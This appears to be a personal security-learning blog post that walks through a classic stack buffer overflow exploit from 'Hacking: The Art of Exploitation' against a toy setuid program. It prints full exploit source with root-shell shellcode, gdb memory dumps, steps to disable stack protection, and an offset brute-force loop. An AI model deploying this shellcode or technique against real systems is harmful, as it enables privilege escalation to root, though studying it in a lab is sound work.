Not So Fast Shellcode Exploit.

Finally Here.

We are finally to the point where we can exploit the notesearch.c program we have been talking about.  But we still have some work to do before we can actually get our exploit to work.  Back when HTAE was written in 2007 things were a little simpler for smashing the stack.  Fast forward almost a decade and we have to fiddle around with our machine to get things working as they should.

Exploiting the Note Programs.
Here’s the exploit_notesearch.c program that we will be using to exploit the notesearch program.

//A program to exploit the notesearch program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);                    //zero out newly allocated mem

    strcpy(command, "./notesearch \'");     //start command buffer
    buffer = command + strlen(command);     //set buffer at end.

    if(argc > 1)                            //set offset
        offset = atoi(argv[1]);             //convert the string argv[1] to an integer.

    ret = (unsigned int) &i - offset;       //set return address.

    for(i = 0; i < 160; i++)                //Fill buffer with return addr.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60);;              //build nop sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);  //copy the shellcode into memory 
                                                        //after the nop sled.
    strcat(command, "\'");

    system(command);
    free(command);
}

The first thing that jumps out to me in this program is the big chunk of shellcode that we have right under the include libraries.  This is the payload of the exploit.  Its supposed to tell the program to restore privileges and open up a shell prompt.  Which is what is so dangerous about running the notesearch and notetaker programs as root, the shell prompt we open will be a root shell prompt.  That gives us total access to the system.

The comments should explain what’s going on in the program fairly well.  I added a few to the ones in the book to expand on what is happening.  Something that I noticed in this program is that we use the address of the variable i before we actually use the variable.  I like how it demonstrates how c programs allocates the memory for the variable in the beginning when it is declared.  We are also giving ret a memory address as a value.

Lets Take a Look at it Running.

As we have been doing so far lets take a look at the program loaded into memory and running with gdb.

$ gdb -q ./exploit_notesearch
Reading symbols from ./exploit_notesearch...done.
(gdb) list 1
1       //A program to exploit the notesearch program
2       #include 
3       #include 
4       #include 
5       char shellcode[] = 
6       "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
7       "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
8       "\xe1\xcd\x80";
9
10      int main(int argc, char *argv[]) {
(gdb) 
11          unsigned int i, *ptr, ret, offset=270;
12          char *command, *buffer;
13
14          command = (char *) malloc(200);
15          bzero(command, 200);                    //zero out newly allocated mem
16
17          strcpy(command, "./notesearch \'");     //start command buffer
18          buffer = command + strlen(command);     //set buffer at end.
19
20          if(argc > 1)                            //set offset
(gdb) 
21              offset = atoi(argv[1]);
22
23          ret = (unsigned int) &i - offset;       //set return address.
24
25          for(i = 0; i < 160; i+=4)                //Fill buffer with return addr.
26              *((unsigned int *)(buffer+i)) = ret;
27          memset(buffer, 0x90, 60);;              //build nop sled
28          memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
29
30          strcat(command, "\'");
(gdb) break 27
Breakpoint 1 at 0x8048614: file exploit_notesearch.c, line 27.
(gdb) break 28
Breakpoint 2 at 0x8048629: file exploit_notesearch.c, line 28.
(gdb) break 29
Breakpoint 3 at 0x8048642: file exploit_notesearch.c, line 29.
(gdb) run
Starting program: /exploit_notesearch 

Breakpoint 1, main (argc=1, argv=0xbffff334) at exploit_notesearch.c:27
27          memset(buffer, 0x90, 60);;              //build nop sled

Here we have set a break point right at the instruction to build the nop sled.  The for loop has filled the buffer with the memory address assigned to ret. We can see this in gdb by looking at buffer.

BBreakpoint 1, main (argc=1, argv=0xbffff354) at exploit_notesearch.c:27
27          memset(buffer, 0x90, 60);;              //build nop sledi
(gdb) x/40x buffer
0x804a016:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a026:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a036:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a046:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a056:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a066:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a076:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a086:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a096:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a0a6:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e

When we continue we set the first 60 bytes of the buffer with the 0x90 hex value.

(gdb) cont
Continuing.

Breakpoint 2, main (argc=1, argv=0xbffff354) at exploit_notesearch.c:28
28          memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
(gdb) x/40xw buffer
0x804a016:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a026:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a036:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a046:      0x90909090      0x90909090      0x90909090      0xbffff16e
0x804a056:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a066:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a076:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a086:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a096:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a0a6:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e

Continuing we copy the shellcode into the buffer memory after the nop sled.

(gdb) cont
Continuing.

Breakpoint 3, main (argc=1, argv=0xbffff354) at exploit_notesearch.c:30
30          strcat(command, "\'");
(gdb) x/40xw buffer
0x804a016:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a026:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a036:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a046:      0x90909090      0x90909090      0x90909090      0xdb31c031
0x804a056:      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f
0x804a066:      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde1
0x804a076:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a086:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a096:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e
0x804a0a6:      0xbffff16e      0xbffff16e      0xbffff16e      0xbffff16e

You can see the shellcode in bold right on the border of the nop sled and the ret address in buffer.  Which is pretty cool if you’re as easily entertained as I am.  All of this is pretty cool and I’m all excited so lets get to running the program and get our shell prompt.

Execution.

$ ./exploit_notesearch
-------[ end of note data ]-------
Segmentation fault

This is definitely not a shell prompt. So what’s going on here?
The Problems.

First issue:  If you’re like me the first time you ran through this set of programs you got so excited about the prospect of executing commands in the stack you forgot to set your permissions on the notesearch.c program.  This will have the effect of giving a handy permission denied error message when you run the notesearch program.  So just as a review make sure that you run the following commands on both the notetaker and notesearch program executables after compiling.

$sudo chown root:root /.notetaker
$sudo chmod u+s /.notetaker

After changing ownership and permissions on both files they should execute correctly.

Second Issue:  Segmentation Fault.  But we will deal with the Segmentation fault error first and see if that solves that as well.  A quick Google search comes up with non executable stack protection.  We need to disable that so go back through and compile the programs again using the -z execstack flag.  After doing that I still had no change in my program execution.

I carefully looked over everything and did some more reading to see what could be causing my issues.  We are using an offset of 270 hard coded into the program.  We can use BASH to play with the offset and see if we get something different for other values.

$ for i in $(seq 0 20 300); do echo Trying offset $i; ./exploit_notesearch $i; done  
Trying offset 0
-------[ end of note data ]-------
Segmentation fault
Trying offset 20
-------[ end of note data ]-------
Segmentation fault
Trying offset 40
-------[ end of note data ]-------
Segmentation fault
Trying offset 60
-------[ end of note data ]-------
Segmentation fault
Trying offset 80
-------[ end of note data ]-------
Illegal instruction
Trying offset 100
-------[ end of note data ]-------
Illegal instruction
Trying offset 120
-------[ end of note data ]-------
Segmentation fault
Trying offset 140
-------[ end of note data ]-------
Segmentation fault
Trying offset 160
-------[ end of note data ]-------
Segmentation fault
Trying offset 180
-------[ end of note data ]-------
Segmentation fault
Trying offset 200
-------[ end of note data ]-------
Segmentation fault
Trying offset 220
-------[ end of note data ]-------
-------[ end of note data ]-------
Segmentation fault
Trying offset 240
-------[ end of note data ]-------
Segmentation fault
Trying offset 260
-------[ end of note data ]-------
Segmentation fault
Trying offset 280
-------[ end of note data ]-------
Segmentation fault
Trying offset 300
-------[ end of note data ]-------
Segmentation fault

We see that using the offset 220 will result in execution of the program without a segmentation fault. But the program hasn’t spawned a shell prompt for us yet. But if we look at what’s going on in gdb we can see something interesting.

(gdb) x/40xw buffer
0x804a016:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a026:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a036:      0x90909090      0x90909090      0x90909090      0x90909090
0x804a046:      0x90909090      0x90909090      0x90909090      0xdb31c031
0x804a056:      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f
0x804a066:      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde1
0x804a076:      0xbffff190      0xbffff190      0xbffff190      0xbffff190
0x804a086:      0xbffff190      0xbffff190      0xbffff190      0xbffff190
0x804a096:      0xbffff190      0xbffff190      0xbffff190      0xbffff190
0x804a0a6:      0xbffff190      0xbffff190      0xbffff190      0xbffff190
(gdb) x/s command
0x804a008:      "./notesearch '", '\220' , "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\

When I went back and used the for loop to cycle through all offsets between 215 and 230 I got a shell at offset 224.

$ for i in $(seq 215 1 230); do echo Trying offset $i; ./exploit_notesearch $i; done
Trying offset 215
-------[ end of note data ]-------
Segmentation fault
Trying offset 216
-------[ end of note data ]-------
Segmentation fault
Trying offset 217
-------[ end of note data ]-------
Segmentation fault
Trying offset 218
-------[ end of note data ]-------
Segmentation fault
Trying offset 219
-------[ end of note data ]-------
Segmentation fault
Trying offset 220
-------[ end of note data ]-------
-------[ end of note data ]-------
Segmentation fault
Trying offset 221
-------[ end of note data ]-------
Segmentation fault
Trying offset 222
-------[ end of note data ]-------
Segmentation fault
Trying offset 223
-------[ end of note data ]-------
Segmentation fault
Trying offset 224
-------[ end of note data ]-------
#

I was pretty excited when I got the shell.  It’s a root shell so you can run anything you want unrestricted on the system.

Conclusion

I had a lot of fun with this exploit and found it interesting in several ways.  It demonstrated another modern protection that has been developed, non-executable stack protection.  It demonstrated the necessity of paying attention to what permissions you are giving an executable file on your system as well.

I found it very interesting in the lengths I had to go through just to get the proper address overwritten in memory.  Even with a guide I had to do some playing around with the code and some BASH scripts to get the exploit to work properly.  I found that the proper offset varied a great deal from one execution to the next.  When I tried to reproduce the results the next time I had to drop the offset down to 208 for it to work.  The offset was consistent after that.

Next time we will look at using the Linux environment in exploiting programs.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s